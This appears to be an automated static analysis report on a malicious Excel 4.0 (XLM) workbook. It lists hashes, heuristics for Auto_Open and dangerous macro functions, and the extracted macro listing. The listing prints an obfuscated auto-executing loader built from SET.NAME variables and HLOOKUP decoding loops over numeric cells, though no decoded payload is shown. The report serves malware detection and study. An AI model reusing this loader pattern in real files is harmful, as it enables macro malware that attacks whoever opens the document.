Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f38e6a7b8164d48…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:31 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: fbcf31c0433a72af524fc23100f54582 SHA-1: aaadaf2fcdd04f30cf025c0bd18af60a75ef097e SHA-256: 8f38e6a7b8164d48b06efc499fb509343f925ca0bdf0c600dac8feaaaca9a48e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6659 bytes
SHA-256: 8eb9fd31d72f0913cae56a80cf2c5cbcd6dfc9e8482f9d37b1f8b5355f47c60c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hmAuM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H171 
' 0018     22 LABEL : Cell Value, String Constant - cFCQIki len=0 
' 0018     24 LABEL : Cell Value, String Constant - ckFBiXKRQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - CsRvDtUotr len=0 
' 0018     25 LABEL : Cell Value, String Constant - DpiEJTKbwY len=0 
' 0018     27 LABEL : Cell Value, String Constant - FOQNjpFHrLOg len=0 
' 0018     24 LABEL : Cell Value, String Constant - iyhsTsrcc len=0 
' 0018     20 LABEL : Cell Value, String Constant - JcnQo len=0 
' 0018     24 LABEL : Cell Value, String Constant - JFhUrIBQV len=0 
' 0018     22 LABEL : Cell Value, String Constant - kKopQbl len=0 
' 0018     25 LABEL : Cell Value, String Constant - LhudTcUbiB len=0 
' 0018     25 LABEL : Cell Value, String Constant - NaMryZjCJJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - NhUSesanYbWC len=0 
' 0018     26 LABEL : Cell Value, String Constant - nITkjyflPqd len=0 
' 0018     23 LABEL : Cell Value, String Constant - oYfhiNzW len=0 
' 0018     22 LABEL : Cell Value, String Constant - qyiOrtD len=0 
' 0018     21 LABEL : Cell Value, String Constant - rIKoKw len=0 
' 0018     26 LABEL : Cell Value, String Constant - rjflvjxfAEt len=0 
' 0018     26 LABEL : Cell Value, String Constant - wSWMtZLJYYd len=0 
' 0018     23 LABEL : Cell Value, String Constant - WWWycOtJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - xnSJTRKi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hmAuM,H75,"SET.NAME("rIKoKw",0+VALUE("0"))",""
'  hmAuM,P77,"",90.00000000000000000000
'  hmAuM,H78,"SET.NAME("NaMryZjCJJ",rIKoKw)",""
'  hmAuM,P78,"",-658.00000000000000000000
'  hmAuM,P79,"",176.00000000000000000000
'  hmAuM,P80,"",641.00000000000000000000
'  hmAuM,H81,"SET.NAME("rjflvjxfAEt",rIKoKw)",""
'  hmAuM,P81,"",699.00000000000000000000
'  hmAuM,P82,"",670.00000000000000000000
'  hmAuM,H86,"SET.NAME("qyiOrtD",COUNTA(DpiEJTKbwY))",""
'  hmAuM,H91,"SET.NAME("ckFBiXKRQ",COUNTA(NhUSesanYbWC))",""
'  hmAuM,H96,[],""
'  hmAuM,H101,"SET.NAME("nITkjyflPqd","")",""
'  hmAuM,H104,"NaMryZjCJJ",""
'  hmAuM,H108,"SET.NAME("JFhUrIBQV",HLOOKUP("*",DpiEJTKbwY,NaMryZjCJJ,FALSE))",""
'  hmAuM,H112,"JcnQo",""
'  hmAuM,H116,"SET.NAME("iyhsTsrcc",rIKoKw)",""
'  hmAuM,H120,[],""
'  hmAuM,H123,"iyhsTsrcc",""
'  hmAuM,H127,"FOQNjpFHrLOg",""
'  hmAuM,H130,"LhudTcUbiB",""
'  hmAuM,H134,"oYfhiNzW",""
'  hmAuM,H138,"SET.NAME("WWWycOtJ",VALUE(HLOOKUP("*",NhUSesanYbWC,oYfhiNzW,FALSE)))",""
'  hmAuM,H143,"CsRvDtUotr",""
'  hmAuM,H146,"nITkjyflPqd",""
'  hmAuM,H149,"rjflvjxfAEt",""
'  hmAuM,H153,NEXT(),""
'  hmAuM,H155,"wSWMtZLJYYd",""
'  hmAuM,H160,[],""
'  hmAuM,H163,"cFCQIki",""
'  hmAuM,H167,NEXT(),""
'  hmAuM,H169,RETURN(),""
'  hmAuM,H193,"SET.NAME("xnSJTRKi",H75)",""
'  hmAuM,H196,"DpiEJTKbwY",""
'  hmAuM,H198,"SET.NAME("NhUSesanYbWC",R87C12)",""
'  hmAuM,H202,"SET.NAME("cFCQIki",209)",""
'  hmAuM,H204,"SET.NAME("kKopQbl",8)",""
'  hmAuM,H208,xnSJTRKi(),""
'  hmAuM,H209,HALT(),""